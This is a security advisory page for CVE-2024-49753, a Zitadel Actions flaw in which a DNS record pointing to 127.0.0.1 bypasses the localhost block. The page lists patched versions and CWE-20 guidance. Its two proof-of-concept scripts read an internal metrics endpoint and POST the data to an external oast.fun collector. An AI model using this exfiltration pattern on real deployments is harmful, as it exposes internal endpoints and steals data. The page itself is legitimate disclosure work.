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GHSA-6cf5-w9h3-4rqv CVE-2024-49753 GO-2024-3216

Denied Host Validation Bypass in Zitadel Actions

Critical Go
Severity
5.9 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
0.65%
Chance of exploitation in the next 30 days. Higher than 51.26% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-20 Improper Input Validation
Fix
2.64.1
Upgrade github.com/zitadel/zitadel to this version or later

Description

Summary

A flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1). The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures.

Details

While attempting to send a request directly to 127.0.0.1 via an action results in an error (see image below), the restriction can be bypassed using a custom DNS record. <img width="781" alt="image" src="https://github.com/user-attachments/assets/6d22dae8-407f-4420-a937-aca53d22d05d">

The relevant action code demonstrates the attempted request to 127.0.0.1:

let http = require('zitadel/http')
let logger = require("zitadel/log")
function make_api_call(ctx, api) {
    var user = http.fetch('http://127.0.0.1:8080/debug/metrics');

    var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({
            'data': user,
        }),
    });
    logger.log(api_r.body);
}

By creating a DNS record that resolves a custom domain to 127.0.0.1 (illustrated below using messwithdns), the action can successfully send the request. image

The modified action code uses the custom domain instead of 127.0.0.1:

let http = require('zitadel/http')
let logger = require("zitadel/log")
function make_api_call(ctx, api) {
    var user = http.fetch('http://ok.jelly244.messwithdns.com:8080/debug/metrics');

    var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({
            'user': user,
        }),
    });
    logger.log(api_r.body);
}

image

This demonstrates that data from the /debug/metrics API, intended to be restricted to localhost, can be fetched and sent to an external endpoint. image

Impact

This vulnerability potentially allows unauthorized access to unsecured internal endpoints, which may contain sensitive information or functionalities.

Patches

2.x versions are fixed on >= 2.64.1 2.63.x versions are fixed on >= 2.63.6 2.62.x versions are fixed on >= 2.62.8 2.61.x versions are fixed on >= 2.61.4 2.60.x versions are fixed on >= 2.60.4 2.59.x versions are fixed on >= 2.59.5 2.58.x versions are fixed on >= 2.58.7

Workarounds

There is no workaround since a patch is already available.

Questions

If you have any questions or comments about this advisory, please email us at security@zitadel.com

Credits

Thanks to @prdp1137 for reporting this!

Affected versions

Go

PackageVulnerableFixed in
github.com/zitadel/zitadel
>= 2.64.0, < 2.64.1
2.64.1
github.com/zitadel/zitadel
>= 2.63.0, < 2.63.6
2.63.6
github.com/zitadel/zitadel
>= 2.62.0, < 2.62.8
2.62.8
github.com/zitadel/zitadel
>= 2.61.0, < 2.61.4
2.61.4
github.com/zitadel/zitadel
>= 2.60.0, < 2.60.4
2.60.4
github.com/zitadel/zitadel
>= 2.59.0, < 2.59.5
2.59.5
github.com/zitadel/zitadel
>= 1.80.1, < 2.58.7
2.58.7
github.com/zitadel/zitadel
< 0.0.0-20241022141644-79fb4cc1cc6e
0.0.0-20241022141644-79fb4cc1cc6e
github.com/zitadel/zitadel
>= 0.0.0, < 1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e
1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e
github.com/zitadel/zitadel
all versions
No fix yet

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/zitadel/zitadel Go → 2.64.1

go
go get github.com/zitadel/zitadel@v2.64.1 && go mod tidy

Severity breakdown

CVSS 3.1 5.9

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N

Attack vector
Network
Attack complexity
High
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Weakness

CWE-20: Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

How to prevent it
  • Architecture and Design: Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
  • Architecture and Design: Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter the product, including but not limited to: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
  • Implementation: When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
  • Implementation: Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
  • Implementation: Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
  • Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-fgmf-7rf8-m6vf
ZITADEL: Actions V1 sandbox escape: host file read via require()
High Also affects github.com/zitadel/zitadel
GHSA-9993-rfwp-rhwf
ZITADEL: MFA bypass via session reuse in Login V2
High Also affects github.com/zitadel/zitadel
GHSA-v859-c572-qh5p
ZITADEL: Improper Role Revocation on Granted Projects during Multiple Role Deletions
Medium Also affects github.com/zitadel/zitadel
GHSA-jq8w-8q2f-ffm9
ZITADEL Users Can Self-Verify Email/Phone via API
High Also affects github.com/zitadel/zitadel
GHSA-vrh8-c9cm-wh8v
ZITADEL: Unauthorized Token Privilege Escalation in OAuth2 Token Exchange
High Also affects github.com/zitadel/zitadel
GHSA-992q-9gwp-7r79
ZITADEL: Auto-linking by email: IdP-side email verification is not checked
Medium Also affects github.com/zitadel/zitadel
GHSA-v77h-2w3m-94hx
ZITADEL: Missing Token Expiration (`exp`) Validation in JWT IdP Provider
Medium Also affects github.com/zitadel/zitadel
GHSA-g5h5-m4hm-xjrr
ZITADEL: Missing Token Audience Validation (`aud`) in JWT IdP Provider
Medium Also affects github.com/zitadel/zitadel
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